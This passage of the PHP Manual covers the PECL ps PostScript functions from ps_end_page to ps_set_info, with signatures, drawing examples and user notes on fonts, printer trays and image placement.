Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_close() - Closes a PostScript document

User Contributed Notes

There are no user contributed notes for this page.


End a page

  • « ps_delete
  • ps_end_pattern »
  • PHP Manual
  • PS Functions
  • End a page

ps_end_page

(PECL ps >= 1.1.0)

ps_end_page — End a page

Description

bool ps_end_page ( resource $psdoc )

Ends a page which was started with ps_begin_page(). Ending a page will leave the current drawing context, which e.g. requires to reload fonts if they were loading within the page, and to set many other drawing parameters like the line width, or color..

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_begin_page() - Start a new page

User Contributed Notes

There are no user contributed notes for this page.


End a pattern

  • « ps_end_page
  • ps_end_template »
  • PHP Manual
  • PS Functions
  • End a pattern

ps_end_pattern

(PECL ps >= 1.2.0)

ps_end_pattern — End a pattern

Description

bool ps_end_pattern ( resource $psdoc )

Ends a pattern which was started with ps_begin_pattern(). Once a pattern has been ended, it can be used like a color to fill areas.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_begin_pattern() - Start a new pattern

User Contributed Notes

There are no user contributed notes for this page.


End a template

  • « ps_end_pattern
  • ps_fill_stroke »
  • PHP Manual
  • PS Functions
  • End a template

ps_end_template

(PECL ps >= 1.2.0)

ps_end_template — End a template

Description

bool ps_end_template ( resource $psdoc )

Ends a template which was started with ps_begin_template(). Once a template has been ended, it can be used like an image.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_begin_template() - Start a new template

User Contributed Notes

There are no user contributed notes for this page.


Fills and strokes the current path

  • « ps_end_template
  • ps_fill »
  • PHP Manual
  • PS Functions
  • Fills and strokes the current path

ps_fill_stroke

(PECL ps >= 1.1.0)

ps_fill_stroke — Fills and strokes the current path

Description

bool ps_fill_stroke ( resource $psdoc )

Fills and draws the path constructed with previously called drawing functions like ps_lineto().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_fill() - Fills the current path
  • ps_stroke() - Draws the current path

User Contributed Notes

There are no user contributed notes for this page.


Fills the current path

  • « ps_fill_stroke
  • ps_findfont »
  • PHP Manual
  • PS Functions
  • Fills the current path

ps_fill

(PECL ps >= 1.1.0)

ps_fill — Fills the current path

Description

bool ps_fill ( resource $psdoc )

Fills the path constructed with previously called drawing functions like ps_lineto().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_fill_stroke() - Fills and strokes the current path
  • ps_stroke() - Draws the current path

User Contributed Notes

There are no user contributed notes for this page.


Loads a font

  • « ps_fill
  • ps_get_buffer »
  • PHP Manual
  • PS Functions
  • Loads a font

ps_findfont

(PECL ps >= 1.1.0)

ps_findfont — Loads a font

Description

int ps_findfont ( resource $psdoc , string $fontname , string $encoding [, bool $embed = false ] )

Loads a font for later use. Before text is output with a loaded font it must be set with ps_setfont(). This function needs the adobe font metric file in order to calculate the space used up by the characters. A font which is loaded within a page will only be available on that page. Fonts which are to be used in the complete document have to be loaded before the first call of ps_begin_page(). Calling ps_findfont() between pages will make that font available for all following pages.

The name of the afm file must be fontname.afm. If the font shall be embedded the file fontname.pfb containing the font outline must be present as well.

Calling ps_findfont() before the first page requires to output the postscript header which includes the BoundingBox for the whole document. Usually the BoundingBox is set with the first call of ps_begin_page() which now comes after ps_findfont(). Consequently the BoundingBox has not been set and a warning will be issued when ps_findfont() is called. In order to prevent this situation, one should call ps_set_parameter() to set the BoundingBox before ps_findfont() is called.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

fontname

The name of the font.

encoding

ps_findfont() will try to load the file passed in the parameter encoding. Encoding files are of the same syntax as those used by dvips(1). They contain a font encoding vector (which is currently not used but must be present) and a list of extra ligatures to extend the list of ligatures derived from the afm file.

encoding can be NULL or the empty string if the default encoding (TeXBase1) shall be used.

If the encoding is set to builtin then there will be no reencoding and the font specific encoding will be used. This is very useful with symbol fonts.

embed

If set to a value >0 the font will be embedded into the document. This requires the font outline (.pfb file) to be present.

Return Values

Returns the identifier of the font or zero in case of an error. The identifier is a positive number.

See Also

  • ps_begin_page() - Start a new page
  • ps_setfont() - Sets font to use for following output

User Contributed Notes

yarych at bigmir dot net 25-Mar-2008 09:39
Ok, now I found the way to set the path I need for fonts - before calling ps_findfont() make a call like this:
<?php ps_set_parameter($psdoc, 'SearchPath', $fonts_dir); ?>

It works for pslib 0.4.1 version. (Looks like it didn't work in some earlier versions.)
yarych at bigmir dot net 29-Jan-2008 12:40
I've found out that pslib is searching for fonts in its data dir (/usr/share/pslib). There is no way to change the search path now.
pepe at dexef dot hu 13-Apr-2006 12:19
I found out that you must copy the <fontname>.afm files next to your php because it's searched there in default.
zeldorblat at gmail dot com 25-Jul-2005 04:47
I found that my Postscript files were taking an incredibly long time to generate and the file sizes were abnormally large.  The problem was that, everytime I chose to set a font I would call ps_findfont() followed by ps_setfont().

It seems that every time ps_findfont() is called, the font gets embedded in the file.  To prevent this, I keep an array of fonts I've already loaded, keyed by the font name.  When I go to set the font, I first check this array to see if I've already loaded the font, and, if so, return the resource handle from that array.  Otherwise, I call ps_findfont() and store the handle in the array.

Note that, if your call to ps_findfont() occurs while inside a page, the font will not be available on other pages.  To get around this I just clear out the array at the end of each page.

My PS file went from 10 M to 75 K, and the time to create the file went from around 15 seconds to less than 1 second.


Fetches the full buffer containig the generated PS data

  • « ps_findfont
  • ps_get_parameter »
  • PHP Manual
  • PS Functions
  • Fetches the full buffer containig the generated PS data

ps_get_buffer

(PECL ps >= 1.1.0)

ps_get_buffer — Fetches the full buffer containig the generated PS data

Description

string ps_get_buffer ( resource $psdoc )

This function is not implemented yet. It will always return an empty string. The idea for a later implementation is to write the contents of the postscript file into an internal buffer if in memory creation is requested, and retrieve the buffer content with this function. Currently, documents created in memory are send to the browser without buffering.

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

See Also

  • ps_open_file() - Opens a file for output

User Contributed Notes

There are no user contributed notes for this page.


Gets certain parameters

  • « ps_get_buffer
  • ps_get_value »
  • PHP Manual
  • PS Functions
  • Gets certain parameters

ps_get_parameter

(PECL ps >= 1.1.0)

ps_get_parameter — Gets certain parameters

Description

string ps_get_parameter ( resource $psdoc , string $name [, float $modifier ] )

Gets several parameters which were directly set by ps_set_parameter() or indirectly by one of the other functions. Parameters are by definition string values. This function cannot be used to retrieve resources which were also set by ps_set_parameter().

The parameter name can have the following values.

fontname

The name of the currently active font or the font whose identifier is passed in parameter modifier.

fontencoding

The encoding of the currently active font.

dottedversion

The version of the underlying pslib library in the format <major>.<minor>.<subminor>

scope

The current drawing scope. Can be object, document, null, page, pattern, path, template, prolog, font, glyph.

ligaturedisolvechar

The character which dissolves a ligature. If your are using a font which contains the ligature `ff' and `|' is the char to dissolve the ligature, then `f|f' will result in two `f' instead of the ligature `ff'.

imageencoding

The encoding used for encoding images. Can be either hex or 85. hex encoding uses two bytes in the postscript file each byte in the image. 85 stand for Ascii85 encoding.

linenumbermode

Set to paragraph if lines are numbered within a paragraph or box if they are numbered within the surrounding box.

linebreak

Only used if text is output with ps_show_boxed(). If set to TRUE a carriage return will add a line break.

parbreak

Only used if text is output with ps_show_boxed(). If set to TRUE a carriage return will start a new paragraph.

hyphenation

Only used if text is output with ps_show_boxed(). If set to TRUE the paragraph will be hyphenated if a hypen dictionary is set and exists.

hyphendict

Filename of the dictionary used for hyphenation pattern.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the parameter.

modifier

An identifier needed if a parameter of a resource is requested, e.g. the size of an image. In such a case the resource id is passed.

Return Values

Returns the value of the parameter or FALSE on failure.

See Also

  • ps_set_parameter() - Sets certain parameters

User Contributed Notes

There are no user contributed notes for this page.


Gets certain values

  • « ps_get_parameter
  • ps_hyphenate »
  • PHP Manual
  • PS Functions
  • Gets certain values

ps_get_value

(PECL ps >= 1.1.0)

ps_get_value — Gets certain values

Description

float ps_get_value ( resource $psdoc , string $name [, float $modifier ] )

Gets several values which were set by ps_set_value(). Values are by definition float values.

The parameter name can have the following values.

fontsize

The size of the currently active font or the font whose identifier is passed in parameter modifier.

font

The currently active font itself.

imagewidth

The width of the image whose id is passed in the parameter modifier.

imageheight

The height of the image whose id is passed in the parameter modifier.

capheight

The height of a capital M in the currently active font or the font whose identifier is passed in parameter modifier.

ascender

The ascender of the currently active font or the font whose identifier is passed in parameter modifier.

descender

The descender of the currently active font or the font whose identifier is passed in parameter modifier.

italicangle

The italicangle of the currently active font or the font whose identifier is passed in parameter modifier.

underlineposition

The underlineposition of the currently active font or the font whose identifier is passed in parameter modifier.

underlinethickness

The underlinethickness of the currently active font or the font whose identifier is passed in parameter modifier.

textx

The current x-position for text output.

texty

The current y-position for text output.

textrendering

The current mode for text rendering.

textrise

The space by which text is risen above the base line.

leading

The distance between text lines in points.

wordspacing

The space between words as a multiple of the width of a space char.

charspacing

The space between chars. If charspacing is != 0.0 ligatures will always be dissolved.

hyphenminchars

Minimum number of chars hyphenated at the end of a word.

parindent

Indention of the first n line in a paragraph.

numindentlines

Number of line in a paragraph to indent if parindent != 0.0.

parskip

Distance between paragraphs.

linenumberspace

Overall space in front of each line for the line number.

linenumbersep

Space between the line and the line number.

major

The major version number of pslib.

minor

The minor version number of pslib.

subminor, revision

The subminor version number of pslib.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the value.

modifier

The parameter modifier specifies the resource for which the value is to be retrieved. This can be the id of a font or an image.

Return Values

Returns the value of the parameter or FALSE.

See Also

  • ps_set_value() - Sets certain values

User Contributed Notes

tilman dot schroeder at gmx dot de 31-Dec-2006 06:32
Note that the modifier parameter is REQUIRED in some (perhaps all) cases where you would not believe it to be required but optional:

<?php
$texty=ps_get_value($ps,'texty'); // does NOT work!

// but this works, however:

$foo=NULL;
$texty=ps_get_value($ps,'texty',$foo); // DOES work!

// this works too:
$texty=ps_get_value($ps,'texty',NULL);
?>

if your script just fails and sends a file with zero length to your browser just try the workaround above. saves time and you will not get upset ;)

would be nice if somebody would be able to tell why pslib behaves this way ...

PHP version 4.4.4-8, pslib verision 0.2.7-1 (Debian etch)

Bye and a happy new year!
Tilman


Hyphenates a word

  • « ps_get_value
  • ps_include_file »
  • PHP Manual
  • PS Functions
  • Hyphenates a word

ps_hyphenate

(PECL ps >= 1.1.1)

ps_hyphenate — Hyphenates a word

Description

array ps_hyphenate ( resource $psdoc , string $text )

Hyphenates the passed word. ps_hyphenate() evaluates the value hyphenminchars (set by ps_set_value()) and the parameter hyphendict (set by ps_set_parameter()). hyphendict must be set before calling this function.

This function requires the locale category LC_CTYPE to be set properly. This is done when the extension is initialized by using the environment variables. On Unix systems read the man page of locale for more information.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

text should not contain any non alpha characters. Possible positions for breaks are returned in an array of interger numbers. Each number is the position of the char in text after which a hyphenation can take place.

Return Values

An array of integers indicating the position of possible breaks in the text or FALSE on failure.

Examples

Example #1 Hyphennate a text

<?php
$word = "Koordinatensystem";
$psdoc = ps_new();
ps_set_parameter($psdoc, "hyphendict", "hyph_de.dic");
$hyphens = ps_hyphenate($psdoc, $word);
for($i=0; $i<strlen($word); $i++) {
  echo $word[$i];
  if(in_array($i, $hyphens))
    echo "-";
}
ps_delete($psdoc);
?>

The above example will output:

Ko-ordi-na-ten-sys-tem

See Also

  • ps_show_boxed() - Output text in a box
  • locale(1)

User Contributed Notes

There are no user contributed notes for this page.


Reads an external file with raw PostScript code

  • « ps_hyphenate
  • ps_lineto »
  • PHP Manual
  • PS Functions
  • Reads an external file with raw PostScript code

ps_include_file

(PECL ps >= 1.3.4)

ps_include_file — Reads an external file with raw PostScript code

Description

bool ps_include_file ( resource $psdoc , string $file )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

file

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

php at catchall dot toao dot net 16-Jun-2009 09:46
I wanted to print to a specific tray of my printer, a Dell 3110cn.  Some printers allow you to specify in their config what tray will be used as a default tray, but my printer doesn't.  Googling told me that printing to a specific tray is not a function of PostScript but rather a function of my printer itself.  So, I had to find the function for my specific printer.  I located a PPD file for my printer.  Purely by luck (I searched through the file for the word 'tray') I found the following:

*InputSlot 2ndTray-H/Tray 2 (500 Sheets): "
  3 dict begin
  /MediaPosition 1 def
  /DeferredMediaSelection true def
  /TraySwitch false def
  currentdict end setpagedevice
" *End

I saved this as a file named Dell.ps, without the first and last lines, and with a blank line at the end.  Then I used the following command in my program:

<?php ps_include_file($ps, 'Dell.ps'); ?>

It worked!
lindsay at dingos dot net 14-Mar-2008 03:43
This method allows you to insert raw postscript at any point in the postscript document.
You can use this function to include 'Barcodes in pure PostScript' in the prolog of your postscript document, and then create a temporary file that contains the necessary postscript to actually call the barcode generating postscript function at whatever point in your document you want it to appear.

it would be nice if there was an alternate form of this function that allowed you to just insert the raw postscript other than make a temporary file to be opened by the function.


Draws a line

  • « ps_include_file
  • ps_makespotcolor »
  • PHP Manual
  • PS Functions
  • Draws a line

ps_lineto

(PECL ps >= 1.1.0)

ps_lineto — Draws a line

Description

bool ps_lineto ( resource $psdoc , float $x , float $y )

Adds a straight line from the current point to the given coordinates to the current path. Use ps_moveto() to set the starting point of the line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the end point of the line.

y

y-coordinate of the end point of the line.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a rectangle

<?php
$ps = ps_new();
if (!ps_open_file($ps, "rectangle.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Lineto example");

ps_begin_page($ps, 596, 842);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

See Also

  • ps_moveto() - Sets current point

User Contributed Notes

There are no user contributed notes for this page.


Create spot color

  • « ps_lineto
  • ps_moveto »
  • PHP Manual
  • PS Functions
  • Create spot color

ps_makespotcolor

(PECL ps >= 1.1.0)

ps_makespotcolor — Create spot color

Description

int ps_makespotcolor ( resource $psdoc , string $name [, int $reserved = 0 ] )

Creates a spot color from the current fill color. The fill color must be defined in rgb, cmyk or gray colorspace. The spot color name can be an arbitrary name. A spot color can be set as any color with ps_setcolor(). When the document is not printed but displayed by an postscript viewer the given color in the specified color space is use.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the spot color, e.g. Pantone 5565.

Return Values

The id of the new spot color or 0 in case of an error.

Examples

Example #1 Creating and using a spot color

<?php
$ps = ps_new();
if (!ps_open_file($ps, "spotcolor.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "spotcolor.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Spot color example");

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "fill", "cmyk", 0.37, 0.0, 0.34, 0.34);
$spotcolor = ps_makespotcolor($ps, "PANTONE 5565 C", 0);
ps_setcolor($ps, "fill", "spot", $spotcolor, 0.5, 0.0, 0.0);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_fill($ps);
ps_end_page($ps);

ps_delete($ps);
?>

This example creates the spot color "PANTONE 5565 C" which is a darker green (olive) and fills a rectangle with 50% intensity.

See Also

  • ps_setcolor() - Sets current color

User Contributed Notes

There are no user contributed notes for this page.


Sets current point

  • « ps_makespotcolor
  • ps_new »
  • PHP Manual
  • PS Functions
  • Sets current point

ps_moveto

(PECL ps >= 1.1.0)

ps_moveto — Sets current point

Description

bool ps_moveto ( resource $psdoc , float $x , float $y )

Sets the current point to new coordinates. If this is the first call of ps_moveto() after a previous path has been ended then it will start a new path. If this function is called in the middle of a path it will just set the current point and start a subpath.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the point to move to.

y

y-coordinate of the point to move to.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_lineto() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.


Creates a new PostScript document object

  • « ps_moveto
  • ps_open_file »
  • PHP Manual
  • PS Functions
  • Creates a new PostScript document object

ps_new

(PECL ps >= 1.1.0)

ps_new — Creates a new PostScript document object

Description

resource ps_new ( void )

Creates a new document instance. It does not create the file on disk or in memory, it just sets up everything. ps_new() is usually followed by a call of ps_open_file() to actually create the postscript document.

Return Values

Resource of PostScript document or FALSE on failure. The return value is passed to all other functions as the first argument.

See Also

  • ps_delete() - Deletes all resources of a PostScript document

User Contributed Notes

There are no user contributed notes for this page.


Opens a file for output

  • « ps_new
  • ps_open_image_file »
  • PHP Manual
  • PS Functions
  • Opens a file for output

ps_open_file

(PECL ps >= 1.1.0)

ps_open_file — Opens a file for output

Description

bool ps_open_file ( resource $psdoc [, string $filename ] )

Creates a new file on disk and writes the PostScript document into it. The file will be closed when ps_close() is called.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

filename

The name of the postscript file. If filename is not passed the document will be created in memory and all output will go straight to the browser.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_close() - Closes a PostScript document

User Contributed Notes

php at catchall dot toao dot net 05-Jul-2009 05:42
Today, I used this function and did not specify a path to the file name.  The file was created in C:\Program Files\Apache2.2 instead of the current working directory.  When using this function, be sure to specify the full path to the file that should be created.


Opens image from file

  • « ps_open_file
  • ps_open_image »
  • PHP Manual
  • PS Functions
  • Opens image from file

ps_open_image_file

(PECL ps >= 1.1.0)

ps_open_image_file — Opens image from file

Description

int ps_open_image_file ( resource $psdoc , string $type , string $filename [, string $stringparam [, int $intparam = 0 ]] )

Loads an image for later use.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of the image. Possible values are png, jpeg, or eps.

filename

The name of the file containing the image data.

stringparam

Not used.

intparam

Not used.

Return Values

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

See Also

  • ps_open_image() - Reads an image for later placement
  • ps_place_image() - Places image on the page
  • ps_close_image() - Closes image and frees memory

User Contributed Notes

There are no user contributed notes for this page.


Reads an image for later placement

  • « ps_open_image_file
  • ps_open_memory_image »
  • PHP Manual
  • PS Functions
  • Reads an image for later placement

ps_open_image

(PECL ps >= 1.1.0)

ps_open_image — Reads an image for later placement

Description

int ps_open_image ( resource $psdoc , string $type , string $source , string $data , int $lenght , int $width , int $height , int $components , int $bpc , string $params )

Reads an image which is already available in memory. The parameter source is currently not evaluated and assumed to be memory. The image data is a sequence of pixels starting in th upper left corner and ending in the lower right corner. Each pixel consists of components color components, and each component has bpc bits.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of the image. Possible values are png, jpeg, or eps.

source

Not used.

data

The image data.

length

The length of the image data.

width

The width of the image.

height

The height of the image.

components

The number of components for each pixel. This can be 1 (gray scale images), 3 (rgb images), or 4 (cmyk, rgba images).

bpc

Number of bits per component (quite often 8).

params

Return Values

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

See Also

  • ps_open_image_file() - Opens image from file
  • ps_place_image() - Places image on the page
  • ps_close_image() - Closes image and frees memory

User Contributed Notes

There are no user contributed notes for this page.


Takes an GD image and returns an image for placement in a PS document

  • « ps_open_image
  • ps_place_image »
  • PHP Manual
  • PS Functions
  • Takes an GD image and returns an image for placement in a PS document

ps_open_memory_image

(PECL ps >= 1.1.0)

ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document

Description

int ps_open_memory_image ( resource $psdoc , int $gd )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

gd

User Contributed Notes

There are no user contributed notes for this page.


Places image on the page

  • « ps_open_memory_image
  • ps_rect »
  • PHP Manual
  • PS Functions
  • Places image on the page

ps_place_image

(PECL ps >= 1.1.0)

ps_place_image — Places image on the page

Description

bool ps_place_image ( resource $psdoc , int $imageid , float $x , float $y , float $scale )

Places a formerly loaded image on the page. The image can be scaled. If the image shall be rotated as well, you will have to rotate the coordinate system before with ps_rotate().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

imageid

The resource identifier of the image as returned by ps_open_image() or ps_open_image_file().

x

x-coordinate of the lower left corner of the image.

y

y-coordinate of the lower left corner of the image.

scale

The scaling factor for the image. A scale of 1.0 will result in a resolution of 72 dpi, because each pixel is equivalent to 1 point.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_open_image() - Reads an image for later placement
  • ps_open_image_file() - Opens image from file

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 11:05
If you want to make a template with graphics software and place it on your PostScript page, one way to do it is with an eps file.

<?php
$template = ps_open_image_file($ps, 'eps', 'template.eps');
ps_place_image($ps, $template, 0, 0, 1);
?>

Professional page layout software such as InDesign will typically be able to generate an eps file.  If your software can't, one way to do it (on Windows) is to set up a printer that prints to file with the driver "Lexmark Color 4079 plus PS".  This driver is included with Windows and has the option in its advanced preferences to generate an EPS file.
mike at lasaero dot com 12-May-2007 03:11
To get png images to work I had to save them as indexed colour (128 colours).


Draws a rectangle

  • « ps_place_image
  • ps_restore »
  • PHP Manual
  • PS Functions
  • Draws a rectangle

ps_rect

(PECL ps >= 1.1.0)

ps_rect — Draws a rectangle

Description

bool ps_rect ( resource $psdoc , float $x , float $y , float $width , float $height )

Draws a rectangle with its lower left corner at (x, y). The rectangle starts and ends in its lower left corner. If this function is called outside a path it will start a new path. If it is called within a path it will add the rectangle as a subpath. If the last drawing operation does not end in the lower left corner then there will be a gap in the path.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the lower left corner of the rectangle.

y

y-coordinate of the lower left corner of the rectangle.

width

The width of the image.

height

The height of the image.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arc() - Draws an arc counterclockwise
  • ps_cirle()
  • ps_lineto() - Draws a line

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 05:23
Example: draw a purple box 144 points wide by 72 points high on a page in position 0, 0:

<?php
ps_setcolor($ps, "fill", "cmyk", .5, .5, 0, 0);
ps_rect($ps, 0, 0, 144, 72);
ps_fill($ps);
?>


Restore previously save context

  • « ps_rect
  • ps_rotate »
  • PHP Manual
  • PS Functions
  • Restore previously save context

ps_restore

(PECL ps >= 1.1.0)

ps_restore — Restore previously save context

Description

bool ps_restore ( resource $psdoc )

Restores a previously saved graphics context. Any call of ps_save() must be accompanied by a call to ps_restore(). All coordinate transformations, line style settings, color settings, etc. are being restored to the state before the call of ps_save().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_save() - Save current context

User Contributed Notes

There are no user contributed notes for this page.


Sets rotation factor

  • « ps_restore
  • ps_save »
  • PHP Manual
  • PS Functions
  • Sets rotation factor

ps_rotate

(PECL ps >= 1.1.0)

ps_rotate — Sets rotation factor

Description

bool ps_rotate ( resource $psdoc , float $rot )

Sets the rotation of the coordinate system.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

rot

Angle of rotation in degree.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rotation of the coordinate system

<?php
function rectangle($ps) {
    ps_moveto($ps, 0, 0);
    ps_lineto($ps, 0, 50);
    ps_lineto($ps, 50, 50);
    ps_lineto($ps, 50, 0);
    ps_lineto($ps, 0, 0);
    ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "rotation.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "rotation.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Rotation example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 100, 100);
ps_rotate($ps, 45);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text without rotation");
ps_end_page($ps);

ps_delete($ps);
?>

The above example illustrates a very common way of rotating a graphic (in this case just a rectangle) by simply rotating the coordinate system. Since the graphic's coordinate system assumes (0,0) to be the origin, the page coordinate system is also translated to place the graphics not on the edge of the page. Pay attention to the order of ps_translate() and ps_rotate(). In the above case the rectancle is rotated around the point (100, 100) in the untranslated coordinate system. Switching the two statements has a completely different result.

In order to output the following text at the original position, all modifications of the coordinate system are encapsulated in ps_save() and ps_restore().

See Also

  • ps_scale() - Sets scaling factor
  • ps_translate() - Sets translation

User Contributed Notes

There are no user contributed notes for this page.


Save current context

  • « ps_rotate
  • ps_scale »
  • PHP Manual
  • PS Functions
  • Save current context

ps_save

(PECL ps >= 1.1.0)

ps_save — Save current context

Description

bool ps_save ( resource $psdoc )

Saves the current graphics context, containing colors, translation and rotation settings and some more. A saved context can be restored with ps_restore().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_restore() - Restore previously save context

User Contributed Notes

There are no user contributed notes for this page.


Sets scaling factor

  • « ps_save
  • ps_set_border_color »
  • PHP Manual
  • PS Functions
  • Sets scaling factor

ps_scale

(PECL ps >= 1.1.0)

ps_scale — Sets scaling factor

Description

bool ps_scale ( resource $psdoc , float $x , float $y )

Sets horizontal and vertical scaling of the coordinate system.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

Scaling factor in horizontal direction.

y

Scaling factor in vertical direction.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_rotate() - Sets rotation factor
  • ps_translate() - Sets translation

User Contributed Notes

There are no user contributed notes for this page.


Sets color of border for annotations

  • « ps_scale
  • ps_set_border_dash »
  • PHP Manual
  • PS Functions
  • Sets color of border for annotations

ps_set_border_color

(PECL ps >= 1.1.0)

ps_set_border_color — Sets color of border for annotations

Description

bool ps_set_border_color ( resource $psdoc , float $red , float $green , float $blue )

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the color of the rectangle's border line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

red

The red component of the border color.

green

The green component of the border color.

blue

The blue component of the border color.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_set_border_dash() - Sets length of dashes for border of annotations
  • ps_set_border_style() - Sets border style of annotations

User Contributed Notes

There are no user contributed notes for this page.


Sets length of dashes for border of annotations

  • « ps_set_border_color
  • ps_set_border_style »
  • PHP Manual
  • PS Functions
  • Sets length of dashes for border of annotations

ps_set_border_dash

(PECL ps >= 1.1.0)

ps_set_border_dash — Sets length of dashes for border of annotations

Description

bool ps_set_border_dash ( resource $psdoc , float $black , float $white )

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the length of the black and white portion of a dashed border line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

black

The length of the dash.

white

The length of the gap between dashes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_set_border_color() - Sets color of border for annotations
  • ps_set_border_style() - Sets border style of annotations

User Contributed Notes

There are no user contributed notes for this page.


Sets border style of annotations

  • « ps_set_border_dash
  • ps_set_info »
  • PHP Manual
  • PS Functions
  • Sets border style of annotations

ps_set_border_style

(PECL ps >= 1.1.0)

ps_set_border_style — Sets border style of annotations

Description

bool ps_set_border_style ( resource $psdoc , string $style , float $width )

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the appearance and width of the border line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

style

style can be solid or dashed.

width

The line width of the border.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_set_border_color() - Sets color of border for annotations
  • ps_set_border_dash() - Sets length of dashes for border of annotations

User Contributed Notes

There are no user contributed notes for this page.


Sets information fields of document

  • « ps_set_border_style
  • ps_set_parameter »
  • PHP Manual
  • PS Functions
  • Sets information fields of document

ps_set_info

(PECL ps >= 1.1.0)

ps_set_info — Sets information fields of document

Description

bool ps_set_info ( resource $p , string $key , string $val )

Sets certain information fields of the document. This fields will be shown as a comment in the header of the PostScript file. If the document is converted to pdf this fields will also be used for the document information.

The BoundingBox is usually set to the value given to the first page. This only works if ps_findfont() has not been called before. In such cases the BoundingBox would be left unset unless you set it explicitly with this function.

This function will have no effect anymore when the header of the postscript file has been already written. It must be called before the first page or the first call of ps_findfont().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

key

The name of the information field to set. The values which can be set are Keywords, Subject, Title, Creator, Author, BoundingBox, and Orientation. Be aware that some of them has a meaning to PostScript viewers.

value

